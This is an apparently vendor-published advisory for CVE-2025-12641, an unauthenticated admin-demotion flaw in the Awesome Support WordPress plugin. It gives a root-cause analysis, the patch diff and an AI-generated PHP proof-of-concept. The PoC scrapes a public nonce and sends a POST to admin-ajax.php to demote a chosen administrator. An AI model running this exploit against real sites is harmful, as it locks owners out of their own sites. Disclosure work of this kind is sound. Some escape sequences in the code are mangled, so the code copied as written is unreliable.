Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12641: Awesome Support – WordPress HelpDesk & Support Plugin <= 6.3.6 – Missing Authorization to Unauthenticated Role Demotion (awesome-support)

Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 6.3.6
Patched Version 6.3.7
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12641:
This vulnerability is an authorization bypass in the Awesome Support WordPress plugin, allowing unauthenticated attackers to demote administrators to low-privilege roles. The flaw exists in the plugin’s user role management system and has a CVSS score of 6.5.

Atomic Edge research identified the root cause as a missing capability check in the `wpas_do_mr_activate_user` function located in `awesome-support/includes/functions-user.php`. The function at line 1683 processes user role changes without verifying the current user’s permissions. This flaw combines with a nonce reuse vulnerability in `awesome-support/includes/functions-actions.php` where all plugin actions share the same `trigger_custom_action` nonce namespace. An attacker can obtain a valid nonce from the publicly accessible registration or ticket submission page, then reuse it for privileged actions.

The exploitation method involves two steps. First, an attacker visits the public registration or ticket submission page to extract a valid `wpas-do-nonce` value. Second, the attacker sends a POST request to `/wp-admin/admin-ajax.php` with `action=wpas_do_mr_activate_user` and a `user_id` parameter targeting an administrator account. The payload uses the publicly obtained nonce to bypass authentication checks, triggering the role demotion function without authorization.

The patch implements three key changes. It adds action-specific nonce verification in `functions-actions.php` by changing the nonce action from `trigger_custom_action` to `wpas_do_${action}`. The patch introduces capability checks in `functions-user.php` at lines 1686-1693, requiring `current_user_can(‘edit_users’)` and `current_user_can(‘edit_user’, $user_id)`. These changes ensure each action has unique nonce validation and proper authorization before processing role modifications.

Successful exploitation allows complete privilege escalation reversal. Attackers can demote WordPress administrators, editors, or any privileged user to the default `moderated_activated_user_role` configured in the plugin settings. This enables attackers to remove administrative access, potentially locking legitimate administrators out of their sites. The vulnerability requires no authentication and minimal technical skill to execute.

Differential between vulnerable and patched code

Code Diff
--- a/awesome-support/awesome-support.php
+++ b/awesome-support/awesome-support.php
@@ -10,7 +10,7 @@
  * Plugin Name:       Awesome Support
  * Plugin URI:        https://getawesomesupport.com
  * Description:       Awesome Support is a great ticketing system that will help you improve your customer satisfaction by providing a unique customer support experience.
- * Version:           6.3.6
+ * Version:           6.3.7
  * Author:            Awesome Support Team
  * Author URI:         https://getawesomesupport.com
  * Text Domain:       awesome-support
@@ -252,7 +252,7 @@
 		 * @return void
 		 */
 		private function setup_constants() {
-			define( 'WPAS_VERSION',           '6.3.6' );
+			define( 'WPAS_VERSION',           '6.3.7' );
 			define( 'WPAS_DB_VERSION',        '1' );
 			define( 'WPAS_URL',               trailingslashit( plugin_dir_url( __FILE__ ) ) );
 			define( 'WPAS_PATH',              trailingslashit( plugin_dir_path( __FILE__ ) ) );
--- a/awesome-support/includes/admin/metaboxes/details.php
+++ b/awesome-support/includes/admin/metaboxes/details.php
@@ -51,8 +51,8 @@
 			<?php if ( 'post-new.php' != $pagenow ):
 				wpas_cf_display_status( '', $post->ID );
 			?>
-			<?php else: ?>
-				<span><?php _x( 'Creating...', 'Ticket creation', 'awesome-support' ); ?></span>
+			<?php else: ?>
+				<span><?php echo _x( 'Creating...', 'Ticket creation', 'awesome-support' ); ?></span>
 			<?php endif; ?>
 		</div>
 		<div class="wpas-col">
--- a/awesome-support/includes/admin/views/about-tab-change-log.php
+++ b/awesome-support/includes/admin/views/about-tab-change-log.php
@@ -5,6 +5,20 @@
 	<div class="row">
 		<div>
 			<div class="about-body">
+				<h1>What's New In 6.3.7</h1>
+				<h3>6.3.7 Revised plugin deactivation process with feedback.</h3>
+				<ul>
+					<li>Update default fallback rules for the .htaccess file in the ticket folder.</li>
+					<li>Fix Missing Authorization to Unauthenticated Role Demotion.</li>
+					<li>Fix vulnerable issue of Unauthenticated Sensitive Information Disclosure.</li>
+				</ul>
+			</div>
+		</div>
+	</div>
+
+	<div class="row">
+		<div>
+			<div class="about-body">
 				<h1>What's New In 6.3.6</h1>
 				<h3>6.3.6 Revised plugin deactivation process with feedback.</h3>
 				<ul>
--- a/awesome-support/includes/file-uploader/class-file-uploader.php
+++ b/awesome-support/includes/file-uploader/class-file-uploader.php
@@ -136,6 +136,9 @@

 		add_action( 'wpas_after_close_ticket',			array( $this, 'wpas_maybe_delete_attachments_after_close_ticket' ), 11, 3 );

+		// One-time fix for .htaccess files containing 'Deny from all'
+		add_action( 'admin_init', array( $this, 'fix_htaccess_files_once' ), 10 );
+
 	}


@@ -860,13 +863,9 @@

 			$filename = $dir . '/.htaccess';

-			// Default fallback rules
-			$filecontents = wpas_get_option( 'htaccess_contents_for_attachment_folders', '' );
+			$filecontents = wpas_get_option( 'htaccess_contents_for_attachment_folders', 'Options -Indexes' ) ;
 			if ( empty( $filecontents ) ) {
-				$filecontents  = "Options -Indexesn";
-				$filecontents .= "<FilesMatch ".*">n";
-				$filecontents .= "Deny from alln";
-				$filecontents .= "</FilesMatch>n";
+				$filecontents = 'Options -Indexes' ;
 			}

 			if ( ! file_exists( $filename ) ) {
@@ -921,6 +920,85 @@
 	}

 	/**
+	 * One-time fix for .htaccess files containing 'Deny from all'
+	 *
+	 * This function runs once to fix all .htaccess files containing 'Deny from all'
+	 * in the attachment folders of all existing tickets.
+	 * It replaces the content with the content defined in the options.
+	 *
+	 * @since 1.0.0
+	 * @return void
+	 */
+	public function fix_htaccess_files_once() {
+
+		// Check if the fix has already been performed
+		$fix_done = get_option( 'wpas_htaccess_deny_all_fixed', false );
+
+		if ( $fix_done ) {
+			return;
+		}
+
+		global $wp_filesystem;
+
+		// Initialize the filesystem
+		if ( empty( $wp_filesystem ) ) {
+			require_once( ABSPATH . '/wp-admin/includes/file.php' );
+			WP_Filesystem();
+		}
+
+		// Get the correct content for .htaccess files
+		$filecontents = wpas_get_option( 'htaccess_contents_for_attachment_folders', 'Options -Indexes' );
+		if ( empty( $filecontents ) ) {
+			$filecontents = 'Options -Indexes';
+		}
+
+		// Get all tickets
+		$tickets = get_posts( array(
+			'post_type'      => 'ticket',
+			'post_status'    => 'any',
+			'posts_per_page' => -1,
+			'fields'         => 'ids',
+		) );
+
+		$upload_dir = wp_upload_dir();
+		$base_dir = $upload_dir['basedir'];
+		$fixed_count = 0;
+
+		// Loop through all tickets
+		foreach ( $tickets as $ticket_id ) {
+
+			// Calculate the attachment folder name (same method as in set_upload_dir)
+			$ticket_id_encode = md5( $ticket_id . NONCE_SALT );
+			$ticket_dir = $base_dir . '/awesome-support/ticket_' . $ticket_id_encode;
+			$htaccess_file = $ticket_dir . '/.htaccess';
+
+			// Check if the .htaccess file exists
+			if ( file_exists( $htaccess_file ) ) {
+
+				// Read the current content
+				$current_content = $wp_filesystem->get_contents( $htaccess_file );
+
+				// Check if the file contains 'Deny from all' (case insensitive)
+				if ( $current_content !== false && stripos( $current_content, 'Deny from all' ) !== false ) {
+
+					// Replace the content with the new content
+					$result = $wp_filesystem->put_contents( $htaccess_file, $filecontents, FS_CHMOD_FILE );
+
+					if ( $result !== false ) {
+						$fixed_count++;
+						wpas_write_log( 'file-uploader', '.htaccess file fixed for ticket #' . $ticket_id . ' (' . $htaccess_file . ')' );
+					} else {
+						wpas_write_log( 'file-uploader', 'Unable to fix .htaccess file for ticket #' . $ticket_id . ' (' . $htaccess_file . ')' );
+					}
+				}
+			}
+		}
+
+		// Mark the fix as completed
+		update_option( 'wpas_htaccess_deny_all_fixed', true );
+	}
+
+	/**
 	 * Add dropzone markup.
 	 *
 	 * @return void
--- a/awesome-support/includes/functions-actions.php
+++ b/awesome-support/includes/functions-actions.php
@@ -25,25 +25,26 @@
 function wpas_process_actions() {

 	$nonce = false;
-
-	if ( isset( $_POST['wpas-do-nonce'] ) ) {
-		$nonce = sanitize_text_field( wp_unslash(  $_POST['wpas-do-nonce'] ) );
-	} elseif ( isset( $_GET['wpas-do-nonce'] ) ) {
-		$nonce = sanitize_text_field( wp_unslash(  $_GET['wpas-do-nonce'] ) );
-	}
-
-	if ( ! $nonce || ! wp_verify_nonce( $nonce, 'trigger_custom_action' ) ) {
-		return;
-	}
+	$action = '';
+    if ( isset( $_POST['wpas-do-nonce'] ) ) {
+        $nonce = sanitize_text_field( wp_unslash( $_POST['wpas-do-nonce'] ) );
+        $action = isset( $_POST['wpas-do'] ) ? sanitize_text_field( wp_unslash( $_POST['wpas-do'] ) ) : '';
+    } elseif ( isset( $_GET['wpas-do-nonce'] ) ) {
+        $nonce = sanitize_text_field( wp_unslash( $_GET['wpas-do-nonce'] ) );
+        $action = isset( $_GET['wpas-do'] ) ? sanitize_text_field( wp_unslash( $_GET['wpas-do'] ) ) : '';
+	}
+
+	// FIX: Use action-specific nonce verification
+    if ( ! $nonce || ! $action || ! wp_verify_nonce( $nonce, 'wpas_do_' . $action ) ) {
+        return;
+    }

-	if ( isset( $_POST['wpas-do'] ) ) {
-		$wpas_do = sanitize_text_field( wp_unslash(  $_POST['wpas-do'] ) );
-		do_action( 'wpas_do_' . $wpas_do, $_POST );
+	if ( isset( $_POST['wpas-do'] ) ) {
+		do_action( 'wpas_do_' . $action, $_POST );
 	}

-	if ( isset( $_GET['wpas-do'] ) ) {
-		$wpas_do = sanitize_text_field( wp_unslash(  $_GET['wpas-do'] ) );
-		do_action( 'wpas_do_' . $wpas_do, $_GET );
+	if ( isset( $_GET['wpas-do'] ) ) {
+		do_action( 'wpas_do_' . $action, $_GET );
 	}

 }
@@ -63,7 +64,7 @@

 	$field = sprintf( '<input type="hidden" name="%1$s" value="%2$s">', 'wpas-do', $action );

-	$field .= wp_nonce_field( 'trigger_custom_action', 'wpas-do-nonce', true, false );
+	$field .= wp_nonce_field( 'wpas_do_' . $action, 'wpas-do-nonce', true, false );

 	$field = str_replace( 'id="wpas-do-nonce"' , 'id="wpas-do-nonce-' . $action . '"' , $field );

@@ -99,7 +100,7 @@
 function wpas_do_url( $url, $action, $args = array() ) {

 	$args['wpas-do']       = $action;
-	$args['wpas-do-nonce'] = wp_create_nonce( 'trigger_custom_action' );
+	$args['wpas-do-nonce'] = wp_create_nonce( 'wpas_do_' . $action );
 	$url                   = esc_url( add_query_arg( $args, $url ) );

 	return $url;
--- a/awesome-support/includes/functions-templating.php
+++ b/awesome-support/includes/functions-templating.php
@@ -1682,3 +1682,57 @@
 	}
 	// Add filter to `the_title` hook.
 	add_filter( 'the_title', 'wpas_single_ticket_title', 10, 1 );
+
+	/**
+	 * Alter document title for single ticket to prevent information disclosure.
+	 *
+	 * This function prevents the ticket title from being leaked in the HTML page title
+	 * for unauthenticated users or users who don't have permission to view the ticket.
+	 *
+	 * @since 6.0.0
+	 *
+	 * @param  array $title_parts The document title parts
+	 *
+	 * @return array  Modified title parts
+	 */
+	function wpas_single_ticket_document_title( $title_parts = array() ) {
+
+		global $post;
+
+		$slug = 'ticket';
+
+		/* Don't touch the admin */
+		if ( is_admin() ) {
+			return $title_parts;
+		}
+
+		/* Only apply this on the ticket single. */
+		if ( ! $post || $slug !== $post->post_type ) {
+			return $title_parts;
+		}
+
+		/* Only apply this on the main query. */
+		if ( ! is_main_query() ) {
+			return $title_parts;
+		}
+
+		/* Check if the current user can view the ticket */
+		$can_view = wpas_can_view_ticket( $post->ID );
+
+		/* Check if the ticket is public (wpas_pbtk_flag) - only allow public access if the Public Tickets add-on is active */
+		if ( class_exists( 'AS_Publictickets_Loader' ) && 'public' === get_post_meta( $post->ID, '_wpas_pbtk_flag', true ) ) {
+			$can_view = true;
+		}
+
+		if ( ! $can_view ) {
+			/* Replace the ticket title with a generic title to prevent information disclosure */
+			if ( isset( $title_parts['title'] ) ) {
+				$title_parts['title'] = __( 'No tickets found.', 'awesome-support' );
+			}
+		}
+
+		return $title_parts;
+
+	}
+	// Add filter to `document_title_parts` hook (WordPress 4.4+).
+	add_filter( 'document_title_parts', 'wpas_single_ticket_document_title', 10, 1 );
 No newline at end of file
--- a/awesome-support/includes/functions-user.php
+++ b/awesome-support/includes/functions-user.php
@@ -1683,6 +1683,16 @@

 	if( $user_id ) {

+		// FIX: Add capability check
+        if ( ! current_user_can( 'edit_users' ) ) {
+            wp_die( __( 'You do not have permission to activate users.', 'awesome-support' ), 403 );
+        }
+
+        // FIX: Verify current user can edit the target user
+        if ( ! current_user_can( 'edit_user', $user_id ) ) {
+            wp_die( __( 'You do not have permission to edit this user.', 'awesome-support' ), 403 );
+        }
+
 		$role = wpas_get_option( 'moderated_activated_user_role' );

 		$updated = wp_update_user( array( 'ID' => $user_id, 'role' => $role ) );
--- a/awesome-support/includes/gdpr-integration/gdpr-user-profile.php
+++ b/awesome-support/includes/gdpr-integration/gdpr-user-profile.php
@@ -586,12 +586,7 @@

 		if ( $wp_filesystem->is_writable($dir) ) {

-			$filename = $dir . '/.htaccess';
-
-			$filecontents  = "Options -Indexesn";
-			$filecontents .= "<FilesMatch ".*">n";
-			$filecontents .= "Deny from alln";
-			$filecontents .= "</FilesMatch>n";
+			$filecontents = 'Options -Indexes';

 			if ( ! file_exists( $filename ) ) {
 				$result = $wp_filesystem->put_contents($filename, $filecontents, FS_CHMOD_FILE);
--- a/awesome-support/includes/rest-api/includes/API/Passwords.php
+++ b/awesome-support/includes/rest-api/includes/API/Passwords.php
@@ -64,7 +64,7 @@
 				'permission_callback' => array( $this, 'get_passwords_permissions_check' ),
 			),
 			'schema' => array( $this, 'get_public_item_schema' ),
-		) );
+		) );

 		register_rest_route( $this->namespace, '/users/(?P<user_id>[d]+)/' . $this->rest_base . '/(?P<slug>[da-fA-F]{12})', array(
 			'args' => array(
@@ -88,11 +88,12 @@
 		) );

 		// Some hosts that run PHP in FastCGI mode won't be given the Authentication header.
+		// SECURITY FIX: CVE-2025-53340 - Restrict access to administrators only
 		register_rest_route( $this->namespace, '/test-basic-authorization-header/', array(
 			array(
 				'methods' => WP_REST_Server::READABLE . ', ' . WP_REST_Server::CREATABLE,
 				'callback' => array( $this, 'test_basic_authorization_header' ),
-				'permission_callback' => '__return_true',
+				'permission_callback' => array( $this, 'test_basic_auth_permissions_check' ),
 			),
 			'schema' => array( $this, 'test_schema' ),
 		) );
@@ -111,6 +112,19 @@
 	}

 	/**
+	 * Checks if a given request has access to test Basic Auth headers.
+	 * Only administrators can access this diagnostic endpoint.
+	 *
+	 * SECURITY FIX: CVE-2025-53340 - Restrict access to prevent unauthenticated access
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return bool True if the request has access, otherwise false.
+	 */
+	public function test_basic_auth_permissions_check( $request ) {
+		return is_user_logged_in() && current_user_can( 'manage_options' );
+	}
+
+	/**
 	 * Retrieves the passwords.
 	 *
 	 * @param WP_REST_Request $request Full details about the request.
@@ -293,14 +307,15 @@
 	 */

 	public function test_basic_authorization_header() {
+
 		$response = array();

 		if ( isset( $_SERVER['PHP_AUTH_USER'] ) ) {
-			$response['PHP_AUTH_USER'] = sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) );
+			$response['BASIC_AUTH_USER'] = sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) );
 		}

 		if ( isset( $_SERVER['PHP_AUTH_PW'] ) ) {
-			$response['PHP_AUTH_PW'] = sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
+			$response['BASIC_AUTH_PW'] = sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
 		}

 		if ( empty( $response ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12641 - Awesome Support – WordPress HelpDesk & Support Plugin <= 6.3.6 - Missing Authorization to Unauthenticated Role Demotion

<?php
/**
 * Proof of Concept for CVE-2025-12641
 * Targets Awesome Support plugin <= 6.3.6
 * Requires: PHP with cURL extension
 *
 * Usage: php poc.php --url=https://target.site --admin-id=1
 */

// Configuration
$target_url = ''; // Set target WordPress site URL
$admin_user_id = 1; // ID of administrator to demote

// Parse command line arguments
if ($argc > 1) {
    foreach ($argv as $arg) {
        if (strpos($arg, '--url=') === 0) {
            $target_url = substr($arg, 6);
        } elseif (strpos($arg, '--admin-id=') === 0) {
            $admin_user_id = (int)substr($arg, 11);
        } elseif ($arg === '--help') {
            echo "Usage: php poc.php --url=https://target.site --admin-id=1n";
            exit(0);
        }
    }
}

if (empty($target_url)) {
    die("Error: Target URL required. Use --url=https://target.siten");
}

// Step 1: Extract nonce from public registration/ticket page
function extract_nonce($target_url) {
    $ch = curl_init();
    
    // Try registration page first
    $registration_url = rtrim($target_url, '/') . '/registration/';
    curl_setopt_array($ch, [
        CURLOPT_URL => $registration_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT => 10
    ]);
    
    $html = curl_exec($ch);
    
    if (curl_errno($ch)) {
        // Try ticket submission page as fallback
        $ticket_url = rtrim($target_url, '/') . '/submit-ticket/';
        curl_setopt($ch, CURLOPT_URL, $ticket_url);
        $html = curl_exec($ch);
    }
    
    curl_close($ch);
    
    if (!$html) {
        die("Error: Could not access public pages to extract noncen");
    }
    
    // Search for wpas-do-nonce hidden field
    if (preg_match('/name="wpas-do-nonce" value="([a-f0-9]+)"/i', $html, $matches)) {
        return $matches[1];
    }
    
    // Alternative pattern for nonce field
    if (preg_match('/id="wpas-do-nonce[^"]*" value="([a-f0-9]+)"/i', $html, $matches)) {
        return $matches[1];
    }
    
    die("Error: Could not extract nonce from pagen");
}

// Step 2: Execute role demotion attack
function exploit_role_demotion($target_url, $admin_user_id, $nonce) {
    $ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
    
    $post_data = [
        'action' => 'wpas_do_mr_activate_user',
        'wpas-do' => 'mr_activate_user',
        'wpas-do-nonce' => $nonce,
        'user_id' => $admin_user_id
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $ajax_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return ['code' => $http_code, 'response' => $response];
}

// Main execution
echo "[+] Atomic Edge CVE-2025-12641 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Admin ID to demote: $admin_user_idnn";

echo "[+] Step 1: Extracting nonce from public page...n";
$nonce = extract_nonce($target_url);
echo "[+] Extracted nonce: $noncenn";

echo "[+] Step 2: Attempting role demotion...n";
$result = exploit_role_demotion($target_url, $admin_user_id, $nonce);
echo "[+] HTTP Response Code: {$result['code']}n";
echo "[+] Server Response: {$result['response']}nn";

if ($result['code'] === 200 && strpos($result['response'], 'success') !== false) {
    echo "[!] SUCCESS: Administrator $admin_user_id may have been demoted.n";
    echo "[!] Verify by checking user role in WordPress admin.n";
} else {
    echo "[-] Attack may have failed or target is patched.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School